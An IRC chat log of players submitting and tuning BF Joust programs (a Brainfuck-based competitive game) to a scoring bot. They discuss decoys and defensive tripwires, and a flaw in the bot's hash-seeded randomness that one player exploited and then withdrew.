myndzi_test: 0.0 03:11:45 !bfjoust 3pass >+>->+>->+>->+>--<++<--<++<--<++<--<++(+)*16>(-)*16>(+)*16>(-)*16>(+)*16>(-)*16>(+)*16>(-)*16(>-.+[(+)*19[+[-.]]](+)*19)*20 03:11:48 hmm... my new program's gonna need some serious copy-paste 03:11:49 Score for myndzi_3pass: 86.8 03:11:59 son of a 03:12:01 myndzi: wow 03:12:05 you even beat slowrush 03:12:05 lol it beats slowrush 03:12:20 question 03:12:24 i guess i'm just good? ;p 03:12:27 lucky 19s 03:12:30 the strategy of crazy decoys seems to be a good one 03:12:32 how do you beat something that does [-[+]]? 03:12:47 coppro: defend6 beats that by locking it in place and capturing its flag 03:12:57 ais523: its purpose isn't to be "crazy" but to be thorough 03:12:57 how? 03:13:04 or, you could attack and get its flag faster, that's not a very fast way to defeat an opponent 03:13:04 i get "something" on the first 10 spots asap 03:13:09 then something less trivial 03:13:13 coppro: basically by doing 128*(+) every 64 turns 03:13:13 and finally something fairly weighty 03:13:24 and then i continue to lay down big decoys, not that it's likely to help 03:13:28 i wonder if i'd do better for taking that out 03:13:32 but that leaves you stuck in the same place, no? 03:13:37 !bfjoust 3pass >+>->+>->+>->+>--<++<--<++<--<++<--<++(+)*16>(-)*16>(+)*16>(-)*16>(+)*16>(-)*16>(+)*16>(-)*16(>-.+[(+)*19[+[-.]]]+)*20 03:13:39 Score for myndzi_3pass: 79.4 03:13:44 !bfjoust 3pass >+>->+>->+>->+>--<++<--<++<--<++<--<++(+)*16>(-)*16>(+)*16>(-)*16>(+)*16>(-)*16>(+)*16>(-)*16(>-.+[(+)*19[+[-.]]](+)*19)*20 03:13:47 Score for myndzi_3pass: 86.6 03:13:48 coppro: the other 64 turns, you can go and capture the opponent's flag 03:13:48 well, guess it helps after all 03:13:52 ah 03:14:30 !bfjoust speedy2_with_19_decoy < 03:14:33 Score for ais523_speedy2_with_19_decoy: 0.0 03:15:48 !bfjoust jump >>>>>>>([>>>[[[-]>+]+]+[[[-]>+]+]]>)*21 03:15:51 Score for ais523_jump: 29.5 03:16:16 !bfjoust jump >>>>>>>([>>[[[-]>+]+]+[[[-]>+]+]]>)*21 03:16:19 Score for ais523_jump: 56.2 03:16:23 ah, that's better 03:16:31 2 decoys seems to be the standard amount 03:16:51 and it beats both slowrush and 3pass 03:16:56 owat 03:17:08 that's mean :( 03:17:13 hehe 03:17:25 I can't remember whose idea guessing that the first value is a decoy was 03:17:30 <- 03:17:40 but guessing /two/ decoys seems to do better 03:17:43 it's one of the many ways i beat the defend scripts 03:17:46 ha 03:18:07 problem is you can go back and forth all day tweaking and countertweaking that 03:18:13 yes 03:18:21 but then you'll lose to programs doing an entirely different strategy 03:18:26 most people seem to use two decoys at the moment 03:18:27 not necessarily 03:18:33 let's try something 03:19:30 !bfjoust 3pass >>+>->+>->+>->+++<--<++<--<++<--<++(+)*16>(-)*16>(+)*16>(-)*16>(+)*16>(-)*16>(+)*16>(-)*16(>-.+[(+)*19[+[-.]]](+)*19)*20 03:19:32 Score for myndzi_3pass: 79.4 03:20:02 i didn't catch how many wins it had before for comparison 03:20:02 crap 03:20:06 !bfjoust 3pass >+>->+>->+>->+>--<++<--<++<--<++<--<++(+)*16>(-)*16>(+)*16>(-)*16>(+)*16>(-)*16>(+)*16>(-)*16(>-.+[(+)*19[+[-.]]](+)*19)*20 03:20:09 Score for myndzi_3pass: 81.4 03:20:19 well i guess your program isn't worth it :P 03:20:28 i'm surprised at such a big difference though 03:21:10 !bfjoust 3pass >>+>->+>->+>->+++<--<++<--<++<--<++(+)*16>(-)*16>(+)*16>(-)*16>(+)*16>(-)*16>(+)*16(>-.+[(+)*19[+[-.]]](+)*19)*20 03:21:12 Score for myndzi_3pass: 70.0 03:21:13 whoops i had a mistake 03:21:16 o_O 03:21:23 what i get for messin around i guess 03:21:26 also, jump doesn't do badly against programs that leave a trail of 1s or -1s behind as they move 03:21:27 omg how the fuck 03:21:40 i will have to really think from now on 03:21:48 oh 03:21:50 ugh 03:21:54 i am having trouble tracking pointers 03:22:18 !bfjoust jump2 >>>>>>>([>>(-[+[+[---]]]>)*21]>)*21 03:22:21 Score for ais523_jump2: 34.9 03:22:32 !bfjoust jump2 >>>>>>>([>>(-[+[+[-]]]>)*21]>)*21 03:22:35 Score for ais523_jump2: 60.0 03:22:45 !bfjoust 3pass >>->+>->+>->+>--<++<--<++<--<++<--(-)*16>(+)*16>(-)*16>(+)*16>(-)*16>(+)*16>(-)*16(>-.+[(+)*19[+[-.]]](+)*19)*20 03:22:48 Score for myndzi_3pass: 83.3 03:22:52 that's what i wanted in the first place 03:22:55 !bfjoust jump2 >>>>>>>([>>([-[++[-]]]>)*21]>)*21 03:22:58 Score for ais523_jump2: 50.8 03:23:10 !bfjoust jump2 >>>>>>>([>>(-[+[+[-]]]>)*21]>)*21 03:23:13 Score for ais523_jump2: 51.9 03:23:30 hmm... seems to be quite a tapelength dependence there 03:23:36 ais523: do nested brace sets work as expected? 03:23:47 coppro: they should do, but I haven't tested much 03:24:19 !bfjoust jump2 >>>>>>>>>([>>(++++[-]>)*21]>)*21 03:24:22 Score for ais523_jump2: 39.6 03:24:26 !bfjoust jump2 >>>>>>>>>([>>(+[-]>)*21]>)*21 03:24:29 Score for ais523_jump2: 50.7 03:24:37 !bfjoust jump2 >>>>>>>>>([>>([-]>)*21]>)*21 03:24:40 Score for ais523_jump2: 29.9 03:24:49 !bfjoust jump2 >+++>--->>>>>>>([>>(+[-]>)*21]>)*21 03:24:53 Score for ais523_jump2: 39.3 03:25:37 !bfjoust jump2 >>>>>>>>>([>>(-[++[-]]>)*21]>)*21 03:25:40 Score for ais523_jump2: 30.2 03:25:46 !bfjoust jump2 >>>>>>>>>([>>(-[+[+[-]]]>)*21]>)*21 03:25:49 Score for ais523_jump2: 19.7 03:26:08 !bfjoust jump2 >>>>>>>>>([>>(-[++[-]]>)*21]>)*21 03:26:12 Score for ais523_jump2: 31.0 03:26:25 !bfjoust jump2 >>>>>>>([>>([-[++[-]]]>)*21]>)*21 03:26:28 Score for ais523_jump2: 41.3 03:26:43 !bfjoust jump2 >>>>>>>([>>(-[+[+[-]]]>)*21]>)*21 03:26:46 Score for ais523_jump2: 53.2 03:27:06 !bfjoust jump2 >>>>>>>([>>(-[+[+[-]]]>)*21]>)*21 03:27:09 Score for ais523_jump2: 52.1 03:27:23 that program gets a much higher score if it happens to get a short tape against 3pass... 03:28:10 right, because it gets a lucky win and all the points from beating 3pass 03:28:15 yes 03:28:20 well, maybe not 03:28:23 where's ehird with his exhaustive search interpreter 03:28:26 well i mean 03:28:29 I wonder what the tape range in which jump2 beats 3pass is? 03:28:31 more or less than half? 03:28:37 dunno 03:28:43 that's just the reason for the point boost is all 03:28:48 yes, I know 03:29:51 lawlz beat slowrush and 3pass 03:29:56 *dances* 03:30:06 !bfjoust keke2 ->>>>>>>>>(-.+(+)*128(-)*128(+.)*256(-.)*256(++.)*256(--.)*256>)*20 03:30:09 Score for myndzi_keke2: 34.3 03:30:15 hehe 03:30:30 mmmm 03:31:04 !bfjoust keke2 ->>>>>>>>>(>[(-.+(+)*128(-)*128(+.)*256(-.)*256(++.)*256(--.)*256>)*20])*20 03:31:07 Score for myndzi_keke2: 49.6 03:31:38 seems to mostly get outraced 03:31:39 huh 03:32:02 !bfjoust keke2 ->>>>>>>>>(>[(-.+(+)*128(-)*128(+.)*128(-.)*128(++.)*128(--.)*128>)*20])*20 03:32:05 Score for myndzi_keke2: 43.2 03:32:15 !bfjoust keke2 ->>>>>>>>>(>[(-.+(+)*128(-)*128(+.)*256(-.)*256>)*20])*20 03:32:17 I like the way speedy1 is doing so well 03:32:18 Score for myndzi_keke2: 39.3 03:32:22 because everyone's trying complicated stuff 03:32:32 most of my ideas have been pretty simple :P 03:32:36 but possibly inelegant 03:32:41 i agree that elegant simplicity is awesome 03:32:45 noooo 03:32:49 wow, vibration_fool_faster just died 03:32:58 from second to last in just a few hours 03:33:01 79.71 vs 79.50 03:33:01 sorry for including vibration killers in everything 03:33:02 x_x 03:33:02 :P 03:33:15 lawlz 03:33:16 myndzi: I don't mind, it'll just make them easier to kill with my other programs 03:33:27 !bfjoust keke2 ->>>>>>>>>(>[(-.+(+)*128(-)*128(+.)*256(-.)*256(++.)*256(--.)*256>)*20])*20 03:33:29 Score for myndzi_keke2: 49.3 03:33:39 i don't know why my code works 03:33:39 i gotta stop giving leonid points 03:33:46 all I do is changing constants 03:33:46 time to work on beating lols 03:34:18 ugh 03:34:19 nooooo 03:36:04 anyone have somewhere I can upload my awful program? 03:37:24 coppro: use a pastebin? 03:37:39 can egobot handle that? 03:37:50 yes if in raw format 03:37:53 pastebin.ca has raw links 03:37:57 so it's a good one to use with egobot 03:38:02 ok 03:38:39 how do I get to it? 03:38:47 click on the raw link over the left 03:38:51 after you've pasted your program 03:39:04 there we go 03:39:08 !bfjoust awful http://pastebin.ca/raw/1438923 03:39:11 Score for coppro_awful: 0.0 03:39:14 rofl 03:39:18 coppro: there's probably a syntax error 03:39:26 oshi 03:39:31 16 | + 0 + + + + + + + + + + + + + + + + + | 97.2 | 18 | myndzi_3pass.bfjoust 03:39:36 god damn i've come so close to 100 points so many times 03:39:52 >(+)%128 03:39:55 it's on the first line... 03:40:00 that should be (+)*128 03:40:07 oh yeah 03:40:10 what the 03:40:11 fock 03:40:12 why use both symbols? 03:40:22 because they're different operations 03:40:42 !bfjoust awful http://pastebin.ca/raw/1438923 03:40:45 Score for coppro_awful: 0.0 03:40:50 but the {} should provide sufficient delimiting 03:40:50 coppro: that's the same link 03:41:03 yarg stupid c/p 03:41:07 !bfjoust awful http://pastebin.ca/raw/1438924 03:41:11 Score for coppro_awful: 0.0 03:41:13 well, I wrote the original parser at 3am 03:41:34 we've been found out 03:41:35 hmm 03:41:35 <(+)%128 03:41:38 the parens balance, I know that 03:41:54 oh darn 03:41:58 coppro: I just pointed out your error 03:42:04 also, what a massive program! 03:42:12 I might do a longer one, though 03:42:23 as I've decided to make an all-new-improved version of defence6 03:42:31 !bfjoust awful http://pastebin.ca/raw/1438930 03:42:34 Score for coppro_awful: 18.9 03:42:37 there we go 03:42:42 that attacks more loops than just [-] and [+] 03:43:29 i need a local interpreter to try and see why i'm tying 03:43:32 but that's ok i'll take the score 03:43:33 :> 03:44:12 aaargh can't beat this 03:44:24 agj4i !@#%$!@#$@! !@#$@#$!@ 03:51:21 !bfjoust keke2 ->>>>>>>>>(>[(-.+(+)*128(+.)*256(++.)*256>)*20])*20 03:51:24 Score for myndzi_keke2: 38.2 03:51:33 !bfjoust keke2 ->>>>>>>>>(>[(-.+(-)*128(-.)*256(-.)*256>)*20])*20 03:51:36 Score for myndzi_keke2: 42.1 03:51:37 ack 03:51:40 !bfjoust keke2 ->>>>>>>>>(>[(-.+(-)*128(-.)*256(--.)*256>)*20])*20 03:51:43 Score for myndzi_keke2: 34.6 03:51:46 huh 03:51:50 !bfjoust keke2 ->>>>>>>>>(>[(-.+(-)*128(-.)*256>)*20])*20 03:51:53 Score for myndzi_keke2: 23.8 03:52:01 !bfjoust keke2 ->>>>>>>>>(>[(-.+(-)*256(-.)*512>)*20])*20 03:52:04 Score for myndzi_keke2: 44.9 03:52:24 !bfjoust keke2 ->>>>>>>>>(>[(-.+(--+)*256(-.)*512>)*20])*20 03:52:27 Score for myndzi_keke2: 33.8 03:56:43 CRITICAL SUCCESS 03:59:16 ais523: in enigma, how do you get past a window? 03:59:47 coppro: hit it at a medium speed 03:59:51 too slow = it doesn't break 03:59:54 too fast = you break too 03:59:55 ok 04:04:34 keke2's doin alright too lol 04:04:40 i stopped codespamming the window 04:04:51 but last revision: ->>>>>>>>>(>[(-.+(-.)*256(+.)*256>)*20])*20 04:05:10 turns out i was experimenting with timing attacks that were unnecessary 04:05:19 just needed to be sure to sit on 0 two turns 04:06:45 leonid_: you realize your code doesn't even make sense right? :P 04:06:52 you're setting a "decoy" on your flag 04:07:05 and 37 iterations of > will be more than enough to run you off the edge 04:07:20 i know 04:07:27 i'm trying to get some luck 04:07:28 just checkin ;p 04:08:01 luck-based code FTW 04:19:59 .... 04:21:37 -!- oerjan has joined. 04:47:09 -!- oerjan has quit ("leaving"). 04:55:36 ugh 04:57:10 wtfwtf 04:57:11 lol 04:57:24 i accidentally pasted slowrush on the end of 3pass and it improved its score 04:57:25 no 100% 04:57:33 :( 04:57:40 even though it should have gone off the end 04:58:28 ah 04:58:32 i had my number wrong 05:01:40 :( 05:03:27 laffo 05:03:34 but if i change keke to 21 instead of 20 it loses points 05:04:04 probably different counts at the start 05:07:15 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 05:07:42 -!- bsmntbombdood has joined. 05:08:57 aha, I just figured out why apparently pointless changes to a program can change its win percentage 05:09:06 do tell 05:09:08 it seems that the random-number generator is seeded with hashes of the programs 05:09:15 yes 05:09:16 LOL 05:09:19 that's what i was exploiting 05:09:25 i've been watching leonid twiddle dots for a while 05:09:33 who in their right mind would do that though 05:09:33 :\ 05:09:37 what happened to randomize timer 05:09:42 :/ 05:09:49 i'm not idiot 05:09:50 (lol basic) 05:10:04 that'll definitely have to be fixed 05:11:22 lol putting a ',' boosts my point 05:14:08 you should fix this quickly to prevent me to get a high rank :p 05:14:15 heh 05:14:17 prevent me from* 05:14:21 he can't fix it, it's GregorR-L's bot 05:14:27 hmmm 05:14:32 also it looks like no matter how much you randomize it you can't get #1 05:14:40 at some point there's nothing you can do ;) 05:14:45 i know 05:14:47 :p 05:14:52 i win some i lose some 05:15:02 but at least i can stop trying to fix the "bugs" that are earning me losses, heh 05:15:13 at this point i'm not quite sure what the original program was supposed to be 05:15:18 this junk gets me rank 2 05:15:19 .....,,,,,(>(-)*18)*9([(-)*22[+]]>)*18 05:15:24 heh 05:15:32 :) 05:15:43 now a real exploit would be 05:16:04 >>>>>>>>>>(-)*128and a bunch of text here to tweak the hash so they all come out exactly in the right spot 05:16:06 ;) 05:16:39 yeah 05:16:47 well 05:16:52 i'm bfjoust n00b 05:16:54 need to study more 05:16:56 dam 05:26:10 damn what am I doing 05:26:28 -!- leonid_ has quit ("Leaving"). 05:26:51 -!- leonid_ has joined. 05:28:46 -!- Patashu has joined. 05:29:11 hey 05:29:23 yo 05:29:40 !bfjoust lazy >(+)*5>(-)*5>(+)*5>(-)*5>(-)*5>(+)*5>(+)*5>(-)*5(>(-.)*128)*21[-]((-)*2048(+)*2048.)*2 05:29:43 Score for Patashu_lazy: 48.5 05:29:44 !bfjoust matador >+[]<(++-)*1000+(--+)*1000(>)*9(>[+][-])*21 05:29:47 Score for Patashu_matador: 37.6 05:29:48 !bfjoust waiter ((++-)*10000-(--+)*10000)*2(+)*50000(-)*50000(+-)*10000(-+)*10000(>)*8(>(-.)*128)*20 05:29:51 Score for Patashu_waiter: 37.8 05:29:52 !bfjoust juggernaut +(>(-)*128.--++)*29 05:29:55 Score for Patashu_juggernaut: 26.0 05:29:56 cycling :) 05:31:26 which does you no good as we have learned :P 05:31:37 who is this 'we' 05:31:41 oh 05:31:43 you just joined 05:31:48 yup 05:31:53 apparently the RNG is based on hashed program contents 05:32:00 I know that 05:32:03 so no matter how many times you submit it, if you don't change it, you'll get the same results 05:32:04 you always get the same result 05:32:10 but these programs weren't on the hill until just then 05:32:22 oh, when you said 'cycling' i thought you meant something else 05:32:37 it's the cycle of get pushed off when hill is unfavourable, wait, push onto hill when favourable 05:32:39 basically 05:32:43 pft :P 05:32:53 how about the cycle of write a program that doesn't get pushed off as easy ;) 05:32:59 that's step 2 05:33:03 though to be fair, there was some fuckery earlier that probably knocked things off 05:33:08 comes some time after I just step into the door :P 05:33:11 yeah? do tell 05:33:15 patashu 05:33:18 yo 05:33:29 eh, a bunch of duplicates that were getting all ties 05:33:35 the RNG being based on hash values 05:33:35 aa 05:33:40 lead to a serious problem 05:33:43 the scoring placed them mid-hill so i'm sure a number of things that actually .. i dunno, played, got knocked off 05:33:45 like my code becoming rank 2 05:33:47 !bfjoust lols ....,,,,(>(-)*18)*9(>[-[+]])*18 05:33:49 Score for leonid__lols: 75.6 05:34:14 no fun 05:34:18 you made code that works best for a certain field length 05:34:28 then kept trying trivial permutations until it got that field length when it needed it? 05:34:37 pretty much 05:34:50 yes 05:35:01 word on the street is that it's being rewritten to run with all 21 lengths, then with one of the program's polarity flipped, then the remaining 21 lengths 05:35:03 blinding adds ','s 05:35:14 blindly adding ','s* 05:35:15 omg 05:35:48 yeah, that'll really change the current game, hopefully make it more stable 05:35:53 and more focused on writing code 05:38:46 !bfjoust lolscounter (>++)*8(>(+)*17[+[-]])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:38:49 Score for Patashu_lolscounter: 45.6 05:38:51 nope 05:38:52 hmm 05:38:57 !bfjoust lolscounter (>++)*8(>(+)*17[+[-].])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:39:00 Score for Patashu_lolscounter: 40.8 05:39:02 !bfjoust lolscounter (>++)*8(>(+)*17[+[-]+])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:39:05 Score for Patashu_lolscounter: 16.4 05:39:06 !bfjoust lolscounter (>++)*8(>(+)*17[+[-]-])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:39:09 Score for Patashu_lolscounter: 12.3 05:39:14 !bfjoust lolscounter (>++)*8(>(+)*17[+[-].+])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:39:17 Score for Patashu_lolscounter: 13.3 05:39:18 !bfjoust lolscounter (>++)*8(>(+)*17[+[-].-])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:39:22 Score for Patashu_lolscounter: 9.3 05:39:31 !bfjoust lolscounter (>++)*8(>(+)*17[+[-][+]])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:39:34 Score for Patashu_lolscounter: 24.2 05:39:38 !bfjoust lolscounter (>++)*8(>(+)*17[+[-]-[+]])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:39:42 Score for Patashu_lolscounter: 20.9 05:39:48 why are all these permutations so BAD ARGH 05:39:52 gonna choke a bitch 05:39:56 !bfjoust lolscounter (>++)*8(>(+)*17[+[-]])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:39:59 Score for Patashu_lolscounter: 42.1 05:40:55 it beats lols anyway 05:41:06 and lols3 05:41:23 i'm doing hashing stuff with lols 05:41:28 and not caring about 2 and 3 05:42:16 !bfjoust lolscounter (>(+)*8)(>(-)*8)*4(>(+)*17[+[-]])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:42:19 Score for Patashu_lolscounter: 0.0 05:42:24 oh I see 05:42:29 !bfjoust lolscounter (>(+)*8>(-)*8)*4(>(+)*17[+[-]])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:42:33 Score for Patashu_lolscounter: 36.6 05:42:35 hmm 05:42:49 because now it doesn't beat lols 05:42:56 !bfjoust lolscounter (>++>--)*4(>(+)*17[+[-]])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:42:59 Score for Patashu_lolscounter: 42.2 05:43:11 !bfjoust lolscounter (>+++>---)*4(>(+)*17[+[-]])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:43:14 Score for Patashu_lolscounter: 44.1 05:43:28 !bfjoust lolscounter (>--->+++)*4(>(+)*17[+[-]])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:43:31 Score for Patashu_lolscounter: 50.2 05:44:04 !bfjoust lolscounter (>---->++++)*4(>(+)*17[+[-]])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:44:07 Score for Patashu_lolscounter: 51.9 05:44:55 why is [+[-]] so effective? 05:44:58 we need some bf joust science in here 05:45:26 because it's reasonably fast and skips small decoys 05:46:50 !bfjoust lolscounter (>---->++++)*4(>(+)*18[[-]+])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:46:52 Score for Patashu_lolscounter: 5.9 05:46:55 !bfjoust lolscounter (>---->++++)*4(>(+)*18[[-].])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:46:58 Score for Patashu_lolscounter: 45.7 05:47:04 !bfjoust lolscounter (>---->++++)*4(>(+)*18[[-]-])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:47:07 Score for Patashu_lolscounter: 16.7 05:47:17 !bfjoust lolscounter (>---->++++)*4(>(+)*18[[-].+])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:47:21 Score for Patashu_lolscounter: 17.4 05:47:23 !bfjoust lolscounter (>---->++++)*4(>(+)*18[[-].-])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:47:26 Score for Patashu_lolscounter: 12.9 05:47:27 !bfjoust lolscounter (>---->++++)*4(>(+)*18[[-]..])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:47:30 Score for Patashu_lolscounter: 55.9 05:47:32 :o 05:47:34 jackpot 05:47:46 !bfjoust lolscounter (>---->++++)*4(>(+)*17[+[-]..])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:47:49 Score for Patashu_lolscounter: 33.4 05:47:52 heh 05:47:53 !bfjoust lolscounter (>---->++++)*4(>(+)*18[[-]..])*21(+)*1024(-)*1024(+-)*1024(-+)*1024 05:47:54 !bfjoust defend9 http://pastebin.ca/raw/1439042 05:47:56 Score for Patashu_lolscounter: 61.4 05:48:04 uh oh 05:48:04 lol 05:48:08 why don't I get a score? 05:48:10 Score for ais523_defend9: 46.1 05:48:12 yep, i'm totally not going to bother with this until the random gets fixed 05:48:13 it's calculating it still 05:48:19 so I wanted to ask 05:48:28 the defends work by waiting until your flag is under attack 05:48:32 !bfjoust lols ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,(>(-)*18)*9(>[-[+]])*18 05:48:35 Score for leonid__lols: 64.8 05:48:37 then going back and forth and attacking the other side of the map while keeping your flag off 0? 05:48:37 look 05:48:40 it has no point 05:48:54 christ wtf are you guys doing 05:49:05 fucking with hashvalues 05:49:14 leonid is anyway 05:49:15 my program beats keke2, slowrush, lols, and lols3 05:49:23 it's beaten 3pass too, in my tests at home 05:49:24 rule out mine 05:49:26 mine is a cheat 05:49:29 just it doesn't on short tapes 05:49:32 nevermind. this is all completely ridiculous. :P 05:49:42 we are the philosopher god kings of bfjoust 05:49:45 not 05:49:46 you just can't comphrend our genius 05:49:54 well, obviously since i don't have a local interpreter and have only been using the bot 05:49:58 patashu: *retardedness 05:50:01 you spelled comprehend wrong 05:50:03 :B 05:50:04 it would seem that my optimizations are probably crap 05:50:18 you can do a lot of it with just thought experiments 05:50:19 since they're more likely randomness exploits 05:50:24 myndzi, put some ','s at the end lmao 05:50:27 heh 05:50:29 thought experiments are fun 05:50:30 i'm not gonna stoop to that 05:50:38 especially if you put on thought lab coats and use thought chemicals 05:50:49 woa 05:50:51 or THOUGHT LASERS 05:50:56 i'd rather get points based on the actual value of my code :P 05:51:04 everythings better with lasers. ESPECIALLY thought experiments 05:51:16 actually yeah it would be good if it ran every permutation instead of using hash-based randomness 05:51:42 or just use randomness NOT BASED ON USER INPUT 05:51:44 :P 05:51:49 that would be even worse 05:51:50 lol 05:51:57 just resubmit the same thing 05:52:03 how about just setting the fixed tape size and revise some rule? 05:52:16 I spent several /hours/ on defend9 05:52:16 uh no 05:52:17 fixed tape size has a fixed solution 05:52:19 yes 05:52:19 thart 05:52:34 Patashu: the thing about that is 05:52:40 at least the matchups will change every time 05:52:45 with hash based on programs 05:52:54 if someone else submits their program it'll change the results 05:54:14 ... 05:54:22 it won't* 05:54:24 meh 05:54:28 you know what i mean, right!? 05:54:32 yup 05:54:33 yea 05:54:37 good! 05:54:44 Patashu: what are you doing to beat defend9 so much? 05:54:53 defend9 sucks? :) 05:54:54 I dunno 05:54:58 look at my programs 05:55:00 but yeah, i was saying it should probably be multiple samplings when i first got in here :P 05:55:05 Patashu: hardly anyone else can beat it, you beat it a lot though 05:55:19 it's not like I set anything up specifically to counter defend9 05:55:34 your guess is better than mine 05:55:35 what he's doing is not looping on it 05:55:51 also i wouldn't use that word "can" 05:55:52 only juggernaut is a non-looping attacker 05:55:52 ;) 05:56:11 okay i'm going to rewrite my code from scratch without relying on hash values 05:56:21 DUN 05:56:22 haha 05:56:22 fail 05:56:29 patashu_lazy never hits my tripwire 05:56:44 that's easily fixable 05:56:45 (-.)*128 05:56:54 oh wait 05:56:59 lazy is a non-looping attacker too yeah 05:57:09 I should be able to deal with nonloopers 05:57:15 so is rushpolarity or whatever 05:57:16 but only if the tripwire's actually hit at some point 05:57:23 nope rushpolarity loops 05:57:32 ais523: we can go back and forth on cell-specific attacks and defenses all day :P 05:57:40 i can write programs to beat your defend* series 05:57:44 well that's the point isn't it 05:57:47 and you can modify them to beat my programs 05:57:50 which i can modify to beat yours 05:57:50 etc. 05:57:55 myndzi: well, defend9 is general 05:57:57 nah, the point is to win regardless! :) 05:58:02 it detects 12 different sorts of attack loops 05:58:08 ah, tbh they are sorta tl;dr 05:58:09 and uses a lock-in-place for each of them 05:58:17 !bfjoust juggernaut +(>(-)*128.--++)*29 05:58:21 Score for Patashu_juggernaut: 30.0 05:58:22 just to check 05:58:22 !bfjoust juggernaut +(>(-)*128.-.-.+++)*29 05:58:23 i'll have to take a closer look 05:58:27 Score for Patashu_juggernaut: 22.8 05:58:33 !bfjoust juggernaut +(>(-)*128.--++.-.+.-+)*29 05:58:36 Score for Patashu_juggernaut: 28.8 05:58:45 !bfjoust juggernaut +(>(-)*128.--++.-.+)*29 05:58:48 Score for Patashu_juggernaut: 22.8 05:58:51 !bfjoust juggernaut +(>(-)*128.--++.-+)*29 05:58:52 hmm 05:58:54 Score for Patashu_juggernaut: 22.8 05:58:57 i don't know how you can say it 'detects' anything when it's sitting on a [] though? 05:59:06 i guess by reading the aftermath to the right of your tripwire eh 05:59:08 !bfjoust juggernaut +(>(-)*128.--++)*29 05:59:08 myndzi: it has two tripwires 05:59:12 forensics! 05:59:12 Score for Patashu_juggernaut: 28.6 05:59:21 huh hang on, so... 05:59:22 ha, i knew that word would catch on btw :) 05:59:22 !bfjoust juggernaut +(>(-)*128.--++.-.+.-+)*29 05:59:25 Score for Patashu_juggernaut: 29.4 05:59:26 it times the difference in time it takes the enemy to trip the second, compared to the first 05:59:27 there 05:59:29 ok 05:59:38 and by using the timing, it works out how many instructions the opponent has in its main loop 05:59:51 whoops it got pushed off already :) 05:59:51 heh 05:59:54 that's pretty neat 06:00:03 haha 06:00:06 interestingly enough, i was playing with a counter to that earlier 06:00:06 this is how you use brainfuck 06:00:14 huge unwieldy constructs to solve simple problems 06:00:14 an attacker that tries multiple different timings in the attack 06:00:15 :) 06:00:36 !bfjoust lazy >(+)*5>(-)*5>(+)*5>(-)*5>(-)*5>(+)*5>(+)*5>(-)*5(>(-.)*256)*21[-]((-)*2048(+)*2048.)*2 06:00:42 Score for Patashu_lazy: 15.2 06:00:47 !bfjoust lazy >(+)*5>(-)*5>(+)*5>(-)*5>(-)*5>(+)*5>(+)*5>(-)*5(>(-.)*129)*21[-]((-)*2048(+)*2048.)*2 06:00:52 Score for Patashu_lazy: 40.4 06:01:29 you know with the sheer -length- of defend9, shade, etc 06:01:33 oh, that's what the ([)*s are about 06:01:37 I think we need a bfjoust metalanguage 06:01:41 to express such immense constructs 06:01:43 myndzi: I did it with ([{}]) first 06:01:48 Patashu: that was kinda the point of () 06:01:51 but despite the program being correct, egojoust couldn't parse it 06:01:54 that only handles one kind of expansion 06:01:55 ais523: yeah, i didn't think ([) was supposed to work 06:01:57 wtf is this bf shorthand i'm seeing 06:02:02 unaseptable 06:02:05 bsmntbombdood: http://esolangs.org/wiki/BF_Joust 06:02:13 it doesn't handle something like (foo)*9(bar)*8(foo)*10(bar)*7... 06:02:15 or w/e 06:02:17 defend9 is autogenerated from a perl script, btw 06:02:21 aah 06:02:24 i'm not surprised 06:02:29 no I'm not either 06:02:29 i'd have done the same 06:02:29 lol 06:02:38 I don't know any perl :( 06:02:42 only know visual basic and jav 06:02:43 +a 06:02:53 you know, the idea behind defend (the back and forth) was one of the first ideas i had about this game, and i never wrote it 06:02:59 'cause i saw defend6 and was like "oh, already been done" ;) 06:03:14 so it's nice to see it work! 06:03:44 the thing about detecting the program loop speed is pretty crazy though, well done 06:03:57 guys, do any of the languages you speak say things (roughly) like this: "John is at happy" or "John is at doctor" for "John is happy" and "John is a doctor", respectively? 06:06:24 hm, that gives me something of an idea 06:08:24 but i guess it doesn't apply to defend9 06:08:32 psygnis: ORK? 06:08:33 your tripwire sits on the +20 right? 06:08:36 oh wait 06:08:44 languages... 06:12:21 !bfjoust lols < 06:12:23 !bfjoust lols2 < 06:12:23 Score for leonid__lols: 0.0 06:12:25 !bfjoust lols3 < 06:12:25 Score for leonid__lols2: 0.1 06:12:29 Score for leonid__lols3: 0.1 06:12:37 suicide is your only option 06:12:38 maybe later 06:12:59 i lost interest at all after realizing all my work was a cheat 06:13:06 admirable 06:13:12 should be fixed soon 06:13:18 i tried to set my programs back to their 'purest' forms 06:13:20 then we'll all have fun in our liberal utopia :) 06:13:21 !bfjoust matador >+[]<(++-)*1000+(--+)*1000(>)*9(>[+][-])*21 06:13:25 Score for Patashu_matador: 31.2 06:13:27 !bfjoust juggernaut +(>(-)*128.--++.-.+.-+)*29 06:13:27 i.e. the ones that i can decide a reason for 06:13:30 Score for Patashu_juggernaut: 30.8 06:13:34 I'll pop those on to replace your rather than while i was trying to beat a certain program and wasn't sure why it worked 06:13:43 (now i know why) 06:13:45 and... 06:13:45 !bfjoust electrictrain (>(+)*10)*4(>(-)*10)*5([-][-][+][+]>)*20 06:13:48 